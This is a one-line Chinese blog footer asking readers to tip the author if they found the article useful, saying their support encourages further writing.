如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!